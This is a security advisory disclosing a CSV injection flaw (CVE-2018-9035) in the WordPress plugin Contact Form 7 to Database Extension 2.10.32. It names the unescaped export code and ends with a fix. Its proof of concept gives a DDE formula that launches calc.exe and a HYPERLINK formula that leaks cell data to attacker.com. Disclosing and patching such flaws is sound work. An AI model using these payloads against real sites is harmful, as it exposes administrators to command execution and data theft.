WordPress Plugin Contact Form 7 to Database Extension 2.10.32 - CSV Injection

# Exploit Title : Contact Form 7 to Database Extension Wordpress Plugin CSV Injection
# Date: 23-03-2018 
# Exploit Author : Stefan Broeder
# Contact : https://twitter.com/stefanbroeder
# Vendor Homepage: None
# Software Link: https://wordpress.org/plugins/contact-form-7-to-database-extension
# Version: 2.10.32
# CVE : CVE-2018-9035
# Category : webapps

Description
===========
Contact Form 7 to Database Extension is a WordPress plugin with more than 400.000 active installations. Development is discontinued since 1 year. Version 2.10.32 (and possibly previous versions) are affected by a CSV Injection vulnerability.

Vulnerable part of code
=======================
File: contact-form-7-to-database-extension/ExportToCsvUtf8.php:135 prints value of column without checking if it contains a spreadsheet formula.

Impact
======
Arbitrary formulas can be injected into CSV/Excel files. 
This can potentially lead to remote code execution at the client (DDE) or data leakage via maliciously injected hyperlinks.

Proof of Concept
============
In order to exploit this vulnerability, the attacker needs to insert an Excel formula into any of the contact form fields available. This will end up in the log, and if a WordPress administrator chooses to export this log as Excel/CSV file, the file will contain the formula. If he then opens the file, the formula will be calculated. 

Example:

=cmd|'/C calc.exe'!Z0

or

=HYPERLINK("http://attacker.com/leak?="&A1&A2, "Click to load more data!")


Solution
========

The plugin should escape fields starting with '=' when it exports data to CSV or Excel formats.